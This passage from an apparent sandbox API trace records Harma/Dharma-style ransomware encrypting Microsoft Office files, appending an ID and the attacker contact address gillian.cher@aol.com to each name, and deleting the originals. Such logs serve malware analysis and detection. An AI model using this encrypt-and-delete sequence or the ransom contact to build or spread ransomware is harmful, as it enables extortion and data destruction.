(lpString=".rar") returned 4 [0157.721] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0157.721] lstrlenW (lpString=".bz2") returned 4 [0157.721] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0157.721] lstrlenW (lpString=".7z") returned 3 [0157.721] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0157.721] lstrlenW (lpString=".dbf") returned 4 [0157.721] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0157.721] lstrlenW (lpString=".1cd") returned 4 [0157.721] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0157.721] lstrlenW (lpString=".jpg") returned 4 [0157.721] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0157.721] lstrlenW (lpString=".doc") returned 4 [0157.721] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0157.721] lstrlenW (lpString=".docx") returned 5 [0157.721] lstrcmpiW (lpString1=".docx", lpString2="B.HXS") returned -1 [0157.721] lstrlenW (lpString=".pdf") returned 4 [0157.722] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0157.722] lstrlenW (lpString=".xls") returned 4 [0157.722] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0157.722] lstrlenW (lpString=".xlsx") returned 5 [0157.722] lstrcmpiW (lpString1=".xlsx", lpString2="B.HXS") returned -1 [0157.722] lstrlenW (lpString=".ppt") returned 4 [0157.722] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0157.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0157.722] lstrlenW (lpString=".zip") returned 4 [0157.722] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0157.722] lstrlenW (lpString=".rar") returned 4 [0157.722] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0157.722] lstrlenW (lpString=".bz2") returned 4 [0157.722] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0157.722] lstrlenW (lpString=".7z") returned 3 [0157.722] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0157.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0157.722] lstrlenW (lpString=".dbf") returned 4 [0157.722] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0157.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0157.722] lstrlenW (lpString=".1cd") returned 4 [0157.722] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0157.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0157.722] lstrlenW (lpString=".jpg") returned 4 [0157.722] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0157.723] lstrcmpiW (lpString1=".OPG", lpString2=".harma") returned 1 [0157.723] lstrlenW (lpString="MSPUB.OPG") returned 9 [0157.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.724] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=12024) returned 1 [0157.724] CloseHandle (hObject=0x388) returned 1 [0157.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg")) returned 0x20 [0157.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.725] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.725] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0157.726] GetLastError () returned 0x0 [0157.726] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x2ef8, lpOverlapped=0x0) returned 1 [0157.728] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2f00, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x2f00, lpOverlapped=0x0) returned 1 [0157.730] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.730] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0157.730] SetEndOfFile (hFile=0x210) returned 1 [0157.730] CloseHandle (hObject=0x210) returned 1 [0157.730] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.730] SetEndOfFile (hFile=0x388) returned 1 [0157.734] CloseHandle (hObject=0x388) returned 1 [0157.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg")) returned 1 [0157.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0157.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0157.995] lstrlenW (lpString=".doc") returned 4 [0157.995] lstrcmpiW (lpString1=".doc", lpString2=".OPG") returned -1 [0157.995] lstrlenW (lpString=".docx") returned 5 [0157.995] lstrcmpiW (lpString1=".docx", lpString2="B.OPG") returned -1 [0157.995] lstrlenW (lpString=".pdf") returned 4 [0157.995] lstrcmpiW (lpString1=".pdf", lpString2=".OPG") returned 1 [0157.995] lstrlenW (lpString=".xls") returned 4 [0157.995] lstrcmpiW (lpString1=".xls", lpString2=".OPG") returned 1 [0157.995] lstrlenW (lpString=".xlsx") returned 5 [0157.995] lstrcmpiW (lpString1=".xlsx", lpString2="B.OPG") returned -1 [0157.995] lstrlenW (lpString=".ppt") returned 4 [0157.995] lstrcmpiW (lpString1=".ppt", lpString2=".OPG") returned 1 [0157.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0157.995] lstrlenW (lpString=".zip") returned 4 [0157.995] lstrcmpiW (lpString1=".zip", lpString2=".OPG") returned 1 [0157.995] lstrlenW (lpString=".rar") returned 4 [0157.995] lstrcmpiW (lpString1=".rar", lpString2=".OPG") returned 1 [0157.995] lstrlenW (lpString=".bz2") returned 4 [0157.995] lstrcmpiW (lpString1=".bz2", lpString2=".OPG") returned -1 [0157.995] lstrlenW (lpString=".7z") returned 3 [0157.995] lstrcmpiW (lpString1=".7z", lpString2="OPG") returned -1 [0157.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0157.996] lstrlenW (lpString=".dbf") returned 4 [0157.996] lstrcmpiW (lpString1=".dbf", lpString2=".OPG") returned -1 [0157.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0157.996] lstrlenW (lpString=".1cd") returned 4 [0157.996] lstrcmpiW (lpString1=".1cd", lpString2=".OPG") returned -1 [0157.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0157.996] lstrlenW (lpString=".jpg") returned 4 [0157.996] lstrcmpiW (lpString1=".jpg", lpString2=".OPG") returned -1 [0157.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0157.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0157.996] lstrlenW (lpString=".doc") returned 4 [0157.996] lstrcmpiW (lpString1=".doc", lpString2=".OPG") returned -1 [0157.996] lstrlenW (lpString=".docx") returned 5 [0157.996] lstrcmpiW (lpString1=".docx", lpString2="B.OPG") returned -1 [0157.996] lstrlenW (lpString=".pdf") returned 4 [0157.996] lstrcmpiW (lpString1=".pdf", lpString2=".OPG") returned 1 [0157.996] lstrlenW (lpString=".xls") returned 4 [0157.996] lstrcmpiW (lpString1=".xls", lpString2=".OPG") returned 1 [0157.997] lstrlenW (lpString=".xlsx") returned 5 [0157.997] lstrcmpiW (lpString1=".xlsx", lpString2="B.OPG") returned -1 [0157.997] lstrlenW (lpString=".ppt") returned 4 [0157.997] lstrcmpiW (lpString1=".ppt", lpString2=".OPG") returned 1 [0157.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0157.997] lstrlenW (lpString=".zip") returned 4 [0157.997] lstrcmpiW (lpString1=".zip", lpString2=".OPG") returned 1 [0157.997] lstrlenW (lpString=".rar") returned 4 [0157.997] lstrcmpiW (lpString1=".rar", lpString2=".OPG") returned 1 [0157.997] lstrlenW (lpString=".bz2") returned 4 [0157.997] lstrcmpiW (lpString1=".bz2", lpString2=".OPG") returned -1 [0157.997] lstrlenW (lpString=".7z") returned 3 [0157.997] lstrcmpiW (lpString1=".7z", lpString2="OPG") returned -1 [0157.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0157.997] lstrlenW (lpString=".dbf") returned 4 [0157.997] lstrcmpiW (lpString1=".dbf", lpString2=".OPG") returned -1 [0157.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0157.997] lstrlenW (lpString=".1cd") returned 4 [0157.997] lstrcmpiW (lpString1=".1cd", lpString2=".OPG") returned -1 [0157.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57 [0157.997] lstrlenW (lpString=".jpg") returned 4 [0157.997] lstrcmpiW (lpString1=".jpg", lpString2=".OPG") returned -1 [0157.997] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0157.997] lstrlenW (lpString="MSTORE_COL.HXC") returned 14 [0157.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.039] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=626) returned 1 [0158.039] CloseHandle (hObject=0x380) returned 1 [0158.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc")) returned 0x20 [0158.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.039] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.040] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.041] GetLastError () returned 0x0 [0158.041] ReadFile (in: hFile=0x380, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x272, lpOverlapped=0x0) returned 1 [0158.109] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x280, lpOverlapped=0x0) returned 1 [0158.110] ReadFile (in: hFile=0x380, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0158.110] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0158.110] SetEndOfFile (hFile=0x350) returned 1 [0158.110] CloseHandle (hObject=0x350) returned 1 [0158.110] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.110] SetEndOfFile (hFile=0x380) returned 1 [0158.113] CloseHandle (hObject=0x380) returned 1 [0158.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc")) returned 1 [0158.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0158.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0158.170] lstrlenW (lpString=".doc") returned 4 [0158.170] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0158.170] lstrlenW (lpString=".docx") returned 5 [0158.170] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0158.170] lstrlenW (lpString=".pdf") returned 4 [0158.170] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0158.170] lstrlenW (lpString=".xls") returned 4 [0158.170] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0158.170] lstrlenW (lpString=".xlsx") returned 5 [0158.170] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0158.170] lstrlenW (lpString=".ppt") returned 4 [0158.170] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0158.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0158.170] lstrlenW (lpString=".zip") returned 4 [0158.170] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0158.170] lstrlenW (lpString=".rar") returned 4 [0158.170] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0158.170] lstrlenW (lpString=".bz2") returned 4 [0158.170] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0158.170] lstrlenW (lpString=".7z") returned 3 [0158.170] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0158.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0158.170] lstrlenW (lpString=".dbf") returned 4 [0158.170] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0158.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0158.170] lstrlenW (lpString=".1cd") returned 4 [0158.170] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0158.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0158.170] lstrlenW (lpString=".jpg") returned 4 [0158.170] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0158.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0158.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0158.171] lstrlenW (lpString=".doc") returned 4 [0158.171] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0158.171] lstrlenW (lpString=".docx") returned 5 [0158.171] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0158.171] lstrlenW (lpString=".pdf") returned 4 [0158.171] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0158.171] lstrlenW (lpString=".xls") returned 4 [0158.171] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0158.171] lstrlenW (lpString=".xlsx") returned 5 [0158.171] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0158.171] lstrlenW (lpString=".ppt") returned 4 [0158.171] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0158.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0158.171] lstrlenW (lpString=".zip") returned 4 [0158.171] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0158.171] lstrlenW (lpString=".rar") returned 4 [0158.171] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0158.171] lstrlenW (lpString=".bz2") returned 4 [0158.171] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0158.171] lstrlenW (lpString=".7z") returned 3 [0158.171] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0158.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0158.171] lstrlenW (lpString=".dbf") returned 4 [0158.171] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0158.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0158.171] lstrlenW (lpString=".1cd") returned 4 [0158.171] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0158.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62 [0158.171] lstrlenW (lpString=".jpg") returned 4 [0158.171] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0158.172] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0158.172] lstrlenW (lpString="NETWORK1.VRD") returned 12 [0158.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0158.180] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=1844) returned 1 [0158.180] CloseHandle (hObject=0x348) returned 1 [0158.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd")) returned 0x20 [0158.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0158.196] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.196] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0158.196] GetLastError () returned 0x0 [0158.197] ReadFile (in: hFile=0x348, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x734, lpOverlapped=0x0) returned 1 [0158.238] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x740, lpOverlapped=0x0) returned 1 [0158.239] ReadFile (in: hFile=0x348, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0158.239] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.240] SetEndOfFile (hFile=0x370) returned 1 [0158.240] CloseHandle (hObject=0x370) returned 1 [0158.240] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0158.240] SetEndOfFile (hFile=0x348) returned 1 [0158.246] CloseHandle (hObject=0x348) returned 1 [0158.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd")) returned 1 [0158.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0158.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0158.247] lstrlenW (lpString=".doc") returned 4 [0158.247] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0158.247] lstrlenW (lpString=".docx") returned 5 [0158.247] lstrcmpiW (lpString1=".docx", lpString2="1.VRD") returned -1 [0158.247] lstrlenW (lpString=".pdf") returned 4 [0158.247] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0158.248] lstrlenW (lpString=".xls") returned 4 [0158.248] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0158.248] lstrlenW (lpString=".xlsx") returned 5 [0158.248] lstrcmpiW (lpString1=".xlsx", lpString2="1.VRD") returned -1 [0158.248] lstrlenW (lpString=".ppt") returned 4 [0158.248] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0158.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0158.248] lstrlenW (lpString=".zip") returned 4 [0158.248] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0158.248] lstrlenW (lpString=".rar") returned 4 [0158.248] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0158.248] lstrlenW (lpString=".bz2") returned 4 [0158.248] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0158.248] lstrlenW (lpString=".7z") returned 3 [0158.248] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0158.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0158.248] lstrlenW (lpString=".dbf") returned 4 [0158.248] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0158.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0158.248] lstrlenW (lpString=".1cd") returned 4 [0158.248] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0158.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0158.248] lstrlenW (lpString=".jpg") returned 4 [0158.248] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0158.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0158.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0158.248] lstrlenW (lpString=".doc") returned 4 [0158.248] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0158.248] lstrlenW (lpString=".docx") returned 5 [0158.248] lstrcmpiW (lpString1=".docx", lpString2="1.VRD") returned -1 [0158.248] lstrlenW (lpString=".pdf") returned 4 [0158.248] 